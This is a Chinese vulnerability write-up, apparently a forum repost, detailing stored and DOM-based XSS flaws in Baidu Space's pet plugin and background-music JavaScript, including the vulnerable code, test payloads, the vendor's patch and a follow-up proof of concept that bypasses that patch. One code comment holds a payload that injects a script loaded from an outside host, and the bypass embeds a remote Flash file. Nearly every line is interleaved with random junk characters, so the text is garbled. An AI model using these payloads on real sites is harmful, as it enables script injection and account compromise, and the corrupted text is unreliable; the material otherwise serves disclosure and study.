百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. ; @6 T4 Q3 X+ A9 S$ n1 i
y! `; X/ h: X8 G1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
% O* t& H1 C4 o2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
3 v. L) G' @$ O5 [8 @4 Y3 O, V2 B3 p
% y6 d- q; @. ^) q! h' V7 P将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
$ D$ Q+ F! n4 `" L# s+ F. }其中BdUtil.insertWBR为 8 f5 L/ }+ f6 F& D7 H. o
function(text, step) { " t# c: ]2 L A( [% N& z$ q
var textarea = textAreaCache || getContainer(); : i" v M0 q: a0 l- j
if (!textarea) { " b) r* d- k$ y; s- D* A5 j/ F
return text; . @! v0 u6 ]' t# r8 c+ u
} 4 h0 u6 B2 p3 I e0 F7 ^
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
* J# {& L8 k, K' R8 ` X0 \ var string = textarea.value; ' O0 a! P i. z+ J* b6 N
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); $ n0 C5 o+ c3 Q) L$ l5 \
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
! U' y5 `8 L2 }4 {) _ return result; 8 p* s( e8 ^) L; u6 d8 _5 q7 D
}
' `0 R' B# i- n$ r1 K3 K. a8 ]7 R$ Q在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
7 o; t. W: a4 V. m% K Q# \, K! H6 y测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
) N6 r. g; B! C; e3 `; | 8 W1 V- \; f+ G
二:creatbgmusic() Dom-Xss Bug
+ Y5 g* r, p/ O3 I' Z. |/ t B% S; \百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 1 V( q5 q/ z: U- c$ J) _4 U" ]$ H
5 j, I+ d" f5 W) B7 v
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
9 d5 X% e' C$ z/ _: h; X7 Q I0 b& ?7 c# O+ ~( ` b8 r$ k
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 0 J# D3 s l6 [$ r
//传入的murl赋值到bgmusic1和bgmusic2中
/ h% X' s! g% Q# j% H& d+ B, R //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 ) X3 \- [7 N9 w1 _$ Y. r7 E# r+ _
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
: h* S, S$ j4 g) j& h+ j. U. v if (musicnum <= 1) { & p. }: {8 Z) R0 d+ \7 r: U
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
5 Z6 i, \* l, O& d' Q& r4 o }
) Q3 B( B7 h2 ^1 a bgmusic1 += "</OBJECT>";
' D; n$ q w7 W& H( O var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 3 R% \) w- w% {% v$ o5 r
if (musicnum <= 1) {
% U P7 u5 n5 E, B' k5 _ bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 2 m- ^: E( {+ e: T9 |6 D
} % p; _: w2 n Z
bgmusic2 += "> </EMBED>"; ' O- X' K- x5 U1 _% }2 g
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; - B: f6 z; p7 C; ~ L- ]2 f* D
var bgmus = detectWMP();
# R7 n& N4 ?( f: d, [& ~+ L) F1 o if (functype == "FckMusicHelper") {
/ m6 e+ J3 D7 b4 L7 x if (bgmus.installed) {
& \# h6 w! c8 K, W if (bgmus.type == "IE") {
1 \* Z! ]# Y- z" l2 P return bgmusic1;
7 @: C: |& }6 ]# m3 `' V } else if (bgmus.type == "NS") {
) h) d1 C8 g* S% O return bgmusic2;
7 F7 E+ z$ G% w' h7 Z, N3 D } - D, l% Q% D1 N; p
} else {
, E8 E0 f0 l* Y7 b2 g* L return bgmusic3; # V, |3 g3 X7 H( b E
} 7 K* T) T( q8 d6 g5 g$ M s
} else { ; h, x4 v u) c. S
if (bgmus.installed) {
1 S( `9 G/ p6 [" r) s //document.write 直接输出bgmusic变量 导致xss 8 d1 u" a+ I- Z- S" j# G1 ~. o
if (bgmus.type == "IE") {
\! J" {7 l& Z4 c0 Z0 m. k document.write(bgmusic1); - ?, p% q: |+ E9 N% ~8 ^
} else if (bgmus.type == "NS") { : y9 u' l0 _1 o( E8 ^
document.write(bgmusic2);
2 q2 V4 P1 y% {2 W9 Q" l } $ r1 P' I: s5 B: x k2 ?
} else { 0 B, Q& X4 b" g' |
document.write(bgmusic3); * K" N; @( |5 L# f5 B* Z. ?
}
5 f8 b* J" ~3 b return ""; # i" A; H# y8 E4 S s
}
7 I! ]4 D( G' W m" T0 T9 q4 M3 W}
- K3 b- I0 f' M6 O0 o5 x
. s! a5 m5 B/ E. Q" ^' ~在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 7 ?' @1 J( y! D* @
; e% w" j% g5 g ?& q! |7 ofunction initBlogTextForFCK(){
/ o( }3 o! f( w3 F4 r//fck init music
# v/ o$ `3 n" D( x+ y8 oif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} : ~* ?6 S8 |( s H
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 * m4 E$ q0 j' W5 Q |2 u. h( K
var isAutoPlay=true; : ]0 R2 [5 P7 I
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
0 D: \- Y& ~& R/ {) P var img=imgBox; 1 v7 j4 E3 z% T6 T! O, _2 m
if(img.getAttribute(’rel’)){ + ^- F# h9 s# D$ }: K
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc & X+ ^+ n9 f4 K6 Z6 F: [
var musicDiv = document.createElement("SPAN"); , r2 ^% k5 o# f: [! {: W
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] & U4 ^$ \4 d# o% k9 q) j; x( m( o% w
! u1 I+ D l2 a5 _; z ..........................
8 C2 a5 a' h; B" U. a/ \ $ d4 D8 V0 k- n# I& E x6 I8 \
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* I; Z4 i& ` ~ var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
. ^$ B5 }1 x, m) T: V$ I2 N shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
( c% A+ X3 o8 d+ }5 T6 b h4 b! h musicDiv.innerHTML=shtml; . B8 F$ ~( |) h4 D# v+ c
i--;n--; ) Z9 Y8 v* v- Z" ?* j$ V% k
} 4 u, p$ j" v/ M& n
}
3 X% u) e' Q2 ]
# o N% r5 z+ b2 w# U* j5 P* u从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
* ^# Z* o0 U- R# N& v, E1 h2 k 1 a4 s1 n) `; r D; R$ q9 [
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> , _ N( I& ?+ A% \1 l1 ]: e
( i) w8 s( S; X" [等待官方补丁
0 v3 b' F, l0 b/ j4 o9 t' @& E2 m
8 @7 _% p* X6 p: M0 v# s( p7 L3 Pupdate 2010年5月13日
% P5 O8 p4 N% P) i4 A: D8 y9 z9 j: n( T Y' n# O
官方补丁: 7 F e3 U0 e& b0 f3 k; O! C3 A7 Z
+ `. d% f _2 Q8 [" j0 Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ) x9 I. ]- f' b* x% [4 a7 C- s+ t( K
改为: * A; u$ B& Z& r0 h% U9 @3 l
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
2 i a3 x3 E1 S! Z, P% e2 k. C& F$ f- c! C: O9 X
update 2010年5月13日 21:50:37
! |; x) y3 g/ j# Y( u& h( w' p8 K# c3 A4 e
补丁存在漏洞 没有过滤" 可以继续跨: 9 R- L& q% ]+ z2 l3 ^, F2 _
) T% z6 R9 _' Z V- \
NEW POC: 4 K/ {! S4 H7 B
+ E1 ^$ {9 ^; S2 u4 J- C Q5 O<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 1 k3 a6 Q' B- T% G" j" Q8 u) [, | H+ ~
+ L% s5 u9 V) O: c ~$ A' |9 W- b
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
. R; x- B, d( l- a
X) h6 L9 }3 O; d* r+ `2 x |